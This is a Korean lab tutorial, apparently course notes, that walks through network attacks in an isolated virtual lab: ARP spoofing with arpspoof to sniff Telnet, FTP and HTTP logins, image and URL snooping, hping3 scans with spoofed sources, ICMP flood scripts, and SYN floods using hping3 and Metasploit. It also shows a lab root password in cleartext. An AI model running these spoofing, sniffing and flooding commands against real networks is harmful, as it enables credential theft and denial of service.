본문으로 바로가기

네트워크 해킹 - 01 이더넷 프레임 구조
 

@Linux200

       와이어 샤크 캡쳐 확인 캡쳐 중지(filer icmp)

 

@ Window2008

 

와어어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> 로컬 영역 연결 start 클릭)

 

 Linux200(192.168.20.200)으로 Ping 테스트 실시



 

 

 와이어샤크 캡처 내용 확인 하고 중지 (Filter : icmp)


 

02. ARP 프로토콜 & ARP Spoofing 공격

예제1) ARP 동작 확인 및 캡쳐

 

@Linux 200

 

ARP 테이블 초기화 및 확인

 

[~]#  arp -d 192.168.20.201
[~]#  arp -a

 

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> 랜-카드 start 클릭)

 

[~]#  wireshark &

 

 

 - Window2008(192.168.20.201)로 Ping 테스트 실시

 

[~]#  ping -c 1 192.168.20.201
PING 192.168.20.201 (192.168.20.201) 56(84) bytes of data.
64 bytes from 192.168.20.201: icmp_seq=1 ttl=128 time=2.81 ms

 

--- 192.168.20.201 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.816/2.816/2.816/0.000 ms

 

 

 - ARP 테이블 확인 및 캡처 내용 확인

 

[~]#  arp -a
win2008 (192.168.20.201) at 00:0C:29:a8:c3:82 [ether] on eth0

 

 

@ Window2008

 

 

와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> eth0 start 클릭)

 

 



Ex2) ARP 스푸핑 공격 I

 

           <- ARP 스푸핑                 ARP 스푸핑 ->

   Linux200---------------------Kali Linux---------------------Window2008

   eth0                              eth1                               nic

   192.168.20.200                 192.168.20.50                   192.168.20.201

 



 



@ Kali Linux

 

 

 

- IPv4 Forwarding 기능을 임시적으로 ON 실시

 

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
1

 

 

 - 와이어샤크 실행 및 캡처 실행(Capture -> Interfaces -> eth1 start 클릭)

 

root@kali:~# wireshark &

 

 

 -  ARP 스푸핑 실시

 

(터미널1)

root@kali:~# arpspoof -i eth1 -t 192.168.20.200 192.168.20.201

0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c

~ 중간 생략 ~

 

(터미널2)

root@kali:~# arpspoof -i eth1 -t 192.168.20.201 192.168.20.200

0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c

~ 중간 생략 ~

 

 - 와이어샤크 캡처 내용 확인 (Filter : arp)

 

 

[ARP 스푸핑 공격 패켓]

 

 

 

@ Window2008

 

 - Window2008에서 Linux200(192.168.20.200)으로 Telnet, FTP 접속 테스트 실시

 

C:\Users\Administrator>telnet 192.168.20.200


    linux200.example.com (Linux release 2.6.18-371.el5 #1 SMP Tue Oct 1 08:35:08
 EDT 2013) (3)

login: root
Password: soldesk1.
Last login: Tue May 24 01:37:00 from win2008
You have new mail.
[~]#
[~]#  exit


호스트에 대한 연결을 잃었습니다.

C:\Users\Administrator>

 

 

C:\Users\Administrator>ftp 192.168.20.200
192.168.20.200에 연결되었습니다.
220 (vsFTPd 2.0.5)
사용자(192.168.20.200:(none)): root
331 Please specify the password.
암호: soldesk1.
230 Login successful.
ftp>
ftp> quit
221 Goodbye.

C:\Users\Administrator>

 

 

@ Linux200, Window2008

 

 - Linux200, Window2008 ARP 정보 확인  Kali Linux MAC : 00:0C:29:D8:84:1C)

 

[~]#  arp -a
win2008 (192.168.20.201) at 00:0C:29:D8:84:1C [ether] on eth0
? (192.168.20.50) at 00:0C:29:D8:84:1C [ether] on eth0


 

C:\Users\Administrator>arp -a

인터페이스: 192.168.20.201 --- 0xb
  인터넷 주소           물리적 주소           유형
  192.168.20.50         00-0c-29-d8-84-1c     동적
  192.168.20.200        00-0c-29-d8-84-1c     동적
  192.168.20.255        ff-ff-ff-ff-ff-ff     정적

 

 

@ Kali Linux

 

 - Kali Linux에서 Window2008에서 Linux200으로 접근하는 Telnet, FTP 캡처 내용을 확인한다.

 

 

[Window2008 -> Linux200 Telnet 패켓]

 

 

 

[Window2008 -> Linux200 FTP 패켓]

 

 

 

 -  와이어샤크 캡처 중지 및 ARP 스푸핑 해지

 

(터미널1)

0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c

(ctrl+c)


 

(터미널2)

0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c

(ctrl+c)

 

 

 

 

예제3) ARP 스푸핑 공격 II

 

 

                <- ARP 스푸핑                ARP 스푸핑 ->                     

   Firewall---------------------Kali Linux---------------------Window2008

   eth1                            eth1                               nic

   192.168.20.100              192.168.20.50                   192.168.20.201

   00:0c:29:72:28:7c          00:0c:29:d8:84:1c               00:0c:29:a8:a4:5c

 

 

 

 

 - Firewall, Window2008 ARP 정보 삭제

 

[root@firewall ~]#  arp -d 192.168.20.201


C:\Users\Administrator>arp -d

 

 

@ Kali Linux

 

 - 와이어샤크 캡처 실행(Capture -> Interfaces -> eth1 start 클릭)

 

root@kali:~# wireshark &

 

 

 -  ARP 스푸핑 실시

 

(터미널1)

root@kali:~# arpspoof -i eth1 -t 192.168.20.100 192.168.20.201

0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c

~ 중간 생략 ~

 

(터미널2)

root@kali:~# arpspoof -i eth1 -t 192.168.20.201 192.168.20.100

0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c

~ 중간 생략 ~

 

 

@ Window2008

 

 - KT DNS로 Ping 테스트 실시

 

C:\Users\Administrator>ping 168.126.63.1

Ping 168.126.63.1 32바이트 데이터 사용:
168.126.63.1의 응답: 바이트=32 시간=10ms TTL=128
168.126.63.1의 응답: 바이트=32 시간=5ms TTL=128
168.126.63.1의 응답: 바이트=32 시간=15ms TTL=128
168.126.63.1의 응답: 바이트=32 시간=10ms TTL=128

168.126.63.1에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 5ms, 최대 = 15ms, 평균 = 10ms

 

 

 - ARP 테이블 확인

 

C:\Users\Administrator>arp -a

인터페이스: 192.168.20.201 --- 0xb
  인터넷 주소           물리적 주소           유형
  192.168.20.100        00-0c-29-d8-84-1c     동적

 

 

@ Kali Linux

 

  - 와어어샤크 캡처 내용 확인

 

 

[Window2008 -> '168.126.63.1' ICMP 패켓]

 

 

 

 

예제4) ARP 스푸핑을 이용한 ID/PWD 해킹

 

@ Window2008

 

 - 보안이 취약한 웹-사이트 접속 실시

 

 

 

@ Kali Linux

 

 - 와이어샤크 캡처 내용 확인

 

Filter : http -> Ctrl + F ->  String, Packet Bystes 체크 -> 'abcd' -> 찾기 클릭

 

 

 

로그인 ID/PWD 확인

 

 

 

 

 - 와이어샤크 캡처 이미지 저장 실시

 

  File -> Export Objects -> HTTP 클릭 -> Sava All

 

 

 

  바탕화면 -> 이름 'HTTP Capture' -> 확인

 

 

이미지 저장 확인

 

 

 

 

예제5) ARP 스푸핑을 이용한 이미지 및 URL 실시간 해킹

 

@ Kali Linux

 

(터미널3)

root@kali:# driftnet -i eth0  : Driftnet 은 네트워크 트래픽을 모니터링 하다 TCP 스트림에서 이미지 파일이 발견되면 출력해서 보여준다

 

 

(터미널4)

root@kali:~# urlsnarf -i eth0 : 웹서비스에 접속만을 스니핑하는 전문 툴이다  .... 홈페이지 주소가 나온다.


 

 

 

 

@ Window2008

 

 - Window2008에서 크롬을 실행하여 구글에서 이미지 검색을 실시한다.

 - Ex) 'nba' 이미지 검색 -> 클릭 몇번 실시

 

 

@ Kali Linux

 

 - 'driftnet' 창 크기를 좀 크게 하여, Window2008에서 구글 검색 이미지를 확인한다.

 

 

 

 

 - 터미널 1~4에서 실행한 공격 툴 중지 (ctrl+c)

 

 

 - 와이어샤크 캡처 중지

 


Ping 명령어 및 ICMP 패켓 캡처

 

@ Linux200

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> eth0 start 클릭)

 

[~]#  wireshark &



 


@ Window2008

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> 로컬 영역 연결 start 클릭)

 

 

 - Linux200(192.168.20.200)으로 Ping 실시



 


 

 

Ex2) 'tracert' 명령어

 

@ Window2003

 

 - 'www.google.com'으로 traceroute 실시



 

 

 

VisualRoute 프로그램을 이용한 Traceroute 실시 ('vrc' 프로그램 설치 이후 실행)


 

와이어샤크 캡처 내용 확인 및 중지 (filter : icmp

 

 


 

 Ex4) hping3 툴 사용 방법

 

 hping3는 Ping 테스트가 안되는 시스템쪽으로 Ping 테스트를 할수 있는 툴이다.

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> eth0 선택 -> start 클릭)

 - 'www.naver.com'으로 hping3 테스트 실시

 

- 와이어샤크 캡처 내용 확인 (filter : ! dns && ! arp && ip.addr == 192.168.20.50)

 



 

Ex5) hping3 테스트 I

 

@ Kali Linux

 

 -S : tcp syn request

 -p : port numer

 -c : packet count

 

root@kali:~# hping3 -S 192.168.20.200 -p 80 -c 5
HPING 192.168.20.200 (eth1 192.168.20.200): S set, 40 headers + 0 data bytes
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=5840 rtt=12.3 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=5840 rtt=3.6 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=5840 rtt=3.0 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=3 win=5840 rtt=3.2 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=4 win=5840 rtt=2.0 ms

 

--- 192.168.20.200 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 2.0/4.8/12.3 ms

 

 

 

 

Ex6) hping3 테스트 II

 

@ Kali Linux

 

 -S : tcp syn request

 -p ++50 : 목적지 포트 번호 50번부터 1씩 증가시킴 (50,51,52,53,54)

 -c : packet count

 

root@kali:~# hping3 -S 192.168.20.200 -p ++50 -c 5
HPING 192.168.20.200 (eth1 192.168.20.200): S set, 40 headers + 0 data bytes
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=50 flags=RA seq=0 win=0 rtt=3.6 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=51 flags=RA seq=1 win=0 rtt=3.0 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=52 flags=RA seq=2 win=0 rtt=2.4 ms
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=53 flags=SA seq=3 win=5840 rtt=2.0 ms (DNS 서비스 확인 가능)
len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=54 flags=RA seq=4 win=0 rtt=1.5 ms

--- 192.168.20.200 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet lo

 

 

 

 

Ex7) hping3 테스트 III

 

@ Kali Linux

 

 -1icmp scan

 --icmp-ts : request time stamp

 -c : packet count

 

root@kali:~# hping3 -1 192.168.20.200 --icmp-ts -c 5
HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.20.200 ttl=64 id=44040 icmp_seq=0 rtt=3.6 ms
ICMP timestamp: Originate=25372981 Receive=57771763 Transmit=57771763
ICMP timestamp RTT tsrtt=4

 

len=46 ip=192.168.20.200 ttl=64 id=44041 icmp_seq=1 rtt=3.5 ms
ICMP timestamp: Originate=25373982 Receive=57772763 Transmit=57772763
ICMP timestamp RTT tsrtt=3

 

len=46 ip=192.168.20.200 ttl=64 id=44042 icmp_seq=2 rtt=3.0 ms
ICMP timestamp: Originate=25374982 Receive=57773763 Transmit=57773763
ICMP timestamp RTT tsrtt=3

 

len=46 ip=192.168.20.200 ttl=64 id=44043 icmp_seq=3 rtt=2.2 ms
ICMP timestamp: Originate=25375983 Receive=57774764 Transmit=57774764
ICMP timestamp RTT tsrtt=2

 

len=46 ip=192.168.20.200 ttl=64 id=44044 icmp_seq=4 rtt=1.4 ms
ICMP timestamp: Originate=25376983 Receive=57775765 Transmit=57775765
ICMP timestamp RTT tsrtt=2


--- 192.168.20.200 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 1.4/2.7/3.6 ms

 

이 패킷에는 송신자가 패킷을 보낸 시각(Originate Timestamp)과 수신자가 패킷을 받은 시각(Receive Timestamp),

송신자가 수신자에 전송하는 동안 걸린 시간(Transmit Timestamp)으로 공격 대상의 현재 시각을 알 수 있습니다.

단, 이때 중요한 것은 시간이 아니라 상대 시스템의 Reply패킷을 보았을 때 공격대상이 살아 있다는 것을 알 수 있다는 것입니다.



 

 

 

Ex8) hping3 테스트 IV

 

@ Kali Linux

 

 -8 50-54 : port scan (50,51,52,53,54) 포트 스켄) : 포트를 지정해서 사용

 -S : tcp syn request

 

root@kali:~# hping3 -8 50-54 -S 192.168.20.200
Scanning 192.168.20.200 (192.168.20.200), port 50-54
5 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
   53 domain     : .S..A...  64     0  5840    46
All replies received. Done.
Not responding ports:

 

 

 

 

예제9) hping3 테스트 V

 

@ Kali Linux

 

 -2 : udp scan

 -p : port numer

 -c : packet count

 

root@kali:~# hping3 -2 192.168.20.200 -p 80 -c 5
HPING 192.168.20.200 (eth1 192.168.20.200): udp mode set, 28 headers + 0 data bytes
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN  
status=0 port=1639 seq=0
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN  
status=0 port=1640 seq=1
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN  
status=0 port=1641 seq=2
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN  
status=0 port=1642 seq=3
ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN  
status=0 port=1643 seq=4

 

--- 192.168.20.200 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 1.5/17.7/69.8 ms

 

 

 

 

예제10) hping3 테스트 VI

 

@ Kali Linux

 

 -1 : icmp scan

 -a : spoof source address 

 

root@kali:~# hping3 -1 192.168.20.200 -a 192.168.20.204 -c 3
HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 0 data bytes

--- 192.168.20.200 hping statistic ---
3 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

 

 

 

 

[참고] hping3 옵션

 

@ Kali Linux

 

root@kali:~# hping3 -h
usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood    sent packets as fast as possible. Don't show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don't fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt     Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)


 


네트워크 해킹 - 06. ICMP LAND 공격 (DoS Attack)

ICMP LAND 공격

 

 - ICMP 메세지를 시스템, 서버, 전송 장비에게 대량으로 전송하여 네트워크 및 시스템 부하를 발생시키는 공격이다.

 

 

Ex1) ICMP LAND 공격 I

 

@ Linux200

 

 - gnome-system-monitor 실행

 

[~]#  gnome-system-monitor &

 

 

 

 

 

@ Window2008

 

 - linux200으로 Ping 실시

 

C:\Users\Administrator>ping 192.168.20.200 -t -l 50000

 

Ping 192.168.20.200 50000바이트 데이터 사용:
192.168.20.200의 응답: 바이트=50000 시간=2ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=3ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=1ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=2ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=4ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=3ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=5ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=3ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=3ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=3ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=2ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=4ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=3ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=1ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=2ms TTL=64
192.168.20.200의 응답: 바이트=50000 시간=1ms TTL=64

192.168.20.200에 대한 Ping 통계:
    패킷: 보냄 = 16, 받음 = 16, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 1ms, 최대 = 5ms, 평균 = 2ms
Control-C
^C
C:\Users\Administrator>

 

 

@ Linux200

 

 - gnome-system-monitor 확인

 

 

 

 

 

 

Ex2) ICMP LAND 공격 II

 

@ Window2008

 

 - 작업 관리자 실행 (VM -> Send Ctrl+Alt+Del -> 작업 관리자 시작 -> 네트워킹)

 

 

 

 

@ Kali Linux

 

 - ICMP LAND 공격 툴 제작

 

root@kali:~# mkdir /p /root/bin
root@kali:~# cd /root/bin
root@kali:~/bin#
root@kali:~/bin# vi ping.sh

 

#!/bin/bash

 

ping -s 62000 192.168.20.201 &
sleep 10

 

ping -s 62000 192.168.20.201 &
sleep 10

 

ping -s 62000 192.168.20.201 &
speep 10

 

: wq!

 

 

 

root@kali:~/bin# chmod 755 ping.sh

 

 

 - Window2008로 Ping 실시

 

root@kali:~/bin# ./ping.sh 192.168.20.201
PING 192.168.20.201 (192.168.20.201) 62000(62028) bytes of data.
62008 bytes from 192.168.20.201: icmp_seq=1 ttl=128 time=11.4 ms
62008 bytes from 192.168.20.201: icmp_seq=2 ttl=128 time=6.06 ms
62008 bytes from 192.168.20.201: icmp_seq=3 ttl=128 time=9.93 ms
62008 bytes from 192.168.20.201: icmp_seq=4 ttl=128 time=15.5 ms
62008 bytes from 192.168.20.201: icmp_seq=5 ttl=128 time=10.1 ms
62008 bytes from 192.168.20.201: icmp_seq=6 ttl=128 time=9.89 ms
~ 중간 생략 ~

 

(ctrl+c)

 

 

root@kali:~/bin# pkill ping

 

 

root@kali:~/bin# rm ping.sh

 

 

 

@ Window2008

 

 - 작업 관리자 네트워킹 확인

 

 

 

 

@ Kali Linux

 

 - ICMP LAND 공격 툴 제작

 

root@kali:~/bin# vi ping.sh

 

#!/bin/bash

 

ping -s 62000 $1 & -> 백그라운드로 실행
sleep 10  : 10초간 정지하는 명령어

 

ping -s 62000 $1 &
sleep 10

 

ping -s 62000 $1 &
sleep 86400

: wq!

 

 

 

root@kali:~/bin# chmod 755 ping.sh

 

 - Linux200으로 Ping 실시

 

root@kali:~/bin# ./ping.sh 192.168.20.200
PING 192.168.20.200 (192.168.20.200) 62000(62028) bytes of data.
62008 bytes from 192.168.20.200: icmp_seq=2 ttl=64 time=7.64 ms
62008 bytes from 192.168.20.200: icmp_seq=5 ttl=64 time=9.80 ms
62008 bytes from 192.168.20.200: icmp_seq=6 ttl=64 time=10.3 ms
62008 bytes from 192.168.20.200: icmp_seq=7 ttl=64 time=19.7 ms
62008 bytes from 192.168.20.200: icmp_seq=8 ttl=64 time=4.86 ms
62008 bytes from 192.168.20.200: icmp_seq=9 ttl=64 time=14.4 ms
62008 bytes from 192.168.20.200: icmp_seq=10 ttl=64 time=13.9 ms
PING 192.168.20.200 (192.168.20.200) 62000(62028) bytes of data.
62008 bytes from 192.168.20.200: icmp_seq=11 ttl=64 time=16.9 ms
62008 bytes from 192.168.20.200: icmp_seq=2 ttl=64 time=5.83 ms
~ 중간 생략 ~

 

(ctrl+c)

 

 

root@kali:~/bin# pkill ping

 

 

root@kali:~/bin# rm ping.sh

 

 

 

@ Linux200

 

 - gnome-system-monitor 확인

 

 

 

 

 

Ex3) ICMP LAND 공격 III

 

@ Kali Linux

 

 - Window2008로 hping3 실시

 

 -1 : icmp scan

 --flood : flooding

 -p : port number

 -d : data size

 

root@kali:~/bin# hping3 -1 192.168.20.201 --flood -p 80 -d 62000
HPING 192.168.20.201 (eth1 192.168.20.201): icmp mode set, 28 headers + 62000 data bytes
hping in flood mode, no replies will be shown

~ 1분 정도 진행 실시 ~

 

(ctrl+c)


--- 192.168.20.201 hping statistic ---
48696 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

 

 

@ Window2008

 

 - 작업 관리자 네트워킹 확인 및 재부팅 실시
 

 


 

 

@ Kali Linux

 

 - Linux200으로 hping3 실시

 

root@kali:~/bin# hping3 -1 192.168.20.200 --flood -p 80 -d 62000
HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 62000 data bytes
hping in flood mode, no replies will be shown

~ 1분 정도 진행 실시 ~

 

(ctrl+c)


--- 192.168.20.200 hping statistic ---
43946 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

 

 

@ Linux200

 

  - gnome-system-monitor 확인

 

 



TCP Syn Flooding 공격

 

 - TCP Syn 세그먼트를 시스템, 서버에게 대량으로 전송하여 네트워크 및 시스템 부하를 발생시키는 공격이다.

 - 또한, 서버가 Syn 대량으로 처리하기 때문에 클라이언트가 전송한 Syn 처리를 불가능하게 하여, 접근을 방해한다.

 

 

@ Linux200

 

 - HTTP 서비스 활성화 및 테스트 웹-페이지 생성

 

[~]#  pgrep -lf httpd
[~]#  service httpd restart

[~]#  chkconfig httpd on

 

[~]#  cd /var/www/html
[/var/www/html]#  mkdir -p test
[/var/www/html]#  echo 'TCP Syn Flooding Test Page' > /var/www/html/test/index.html

[/var/www/html]#  cd
[~]# 


@ Window2008

 

 - Linux200으로 HTTP 접속 확인

 

http://192.168.20.200

http://192.168.20.200/test

 

 

 

Ex1) TCP Syn Flooding 공격 I (툴 : hping3)

 

@ Linux200

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> eth0 start 클릭)

 - gnome-system-monitor 실행

 

 

@ Kali Linux

 

 - Linux200으로 TCP Syn Flooding 공격 실시

 

 -S : TCP Syn flag

 -a : spoof source address

 -i : interval (u1 : 1microseconds)

 -p : port number


root@kali:~# hping3 -S -a 13.13.10.1 -i u1 -p 80 192.168.20.200
HPING 192.168.20.200 (eth1 192.168.20.200): S set, 40 headers + 0 data bytes
~ 10초 정도 진행 실시 ~

 

(ctrl+c)


--- 192.168.20.200 hping statistic ---
340842 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

 

 

@ Linux200

 

 - 와이어샤크 캡처 내용 확인

 

 

 

 

 - gnome-system-monitor 확인

 

 

 

 

 - Linux200 상태가 맛이 갔다면, VMware에서 강제로 'reset'를 실시한다.

 

 

 

 

Ex2) TCP Syn Flooding 공격 II (툴 : Metasploit 이용)

 

@ Linux200

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> eth0 start 클릭)

 

 

@ Kali Linux

 

 - Linux200으로 TCP Syn Flooding 공격 실시

 

root@kali:~/bin# netstat -antp | grep :5432


root@kali:~/bin# service postgresql start


root@kali:~/bin# netstat -antp | grep :5432
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1850/postgres  
tcp6       0      0 ::1:5432                :::*                    LISTEN      1850/postgres

 

root@kali:~/bin# msfconsole

 

msf > show -h
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf >
msf > show auxiliary

~ 중간 생략 ~

 

msf > use auxiliary/dos/tcp/synflood
msf auxiliary(synflood) > show options

 

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data

 

msf auxiliary(synflood) > set RHOST 192.168.20.200
RHOST => 192.168.20.200

msf auxiliary(synflood) > set INTERFACE eth1
INTERFACE => eth1


msf auxiliary(synflood) > show options

 

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE  eth1              no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST      192.168.20.200   yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data

 

msf auxiliary(synflood) > exploit

[*] SYN flooding 192.168.20.200:80...

~ 1분 정도 진행 실시 ~

(ctrll+c)

 

[-] Auxiliary interrupted by the console user
[*] Auxiliary module execution completed
msf auxiliary(synflood) >
msf auxiliary(synflood) > exit

root@kali:~/bin#

 

 

@ Linux200

 

 - 와이어샤크 캡처 내용 확인

 

 

 

 

@ Kali Linux

 

 - 'synflood.rb' 파일 확인

 

root@kali:~/bin# cd /usr/share/metasploit-framework
root@kali:/usr/share/metasploit-framework#
root@kali:/usr/share/metasploit-framework# ls
Gemfile       config  metasploit-framework-db.gemspec    modules     msfdb        msfrop     msfvenom  tools
Gemfile.lock  data    metasploit-framework-full.gemspec  msfbinscan  msfelfscan   msfrpc     plugins   vendor
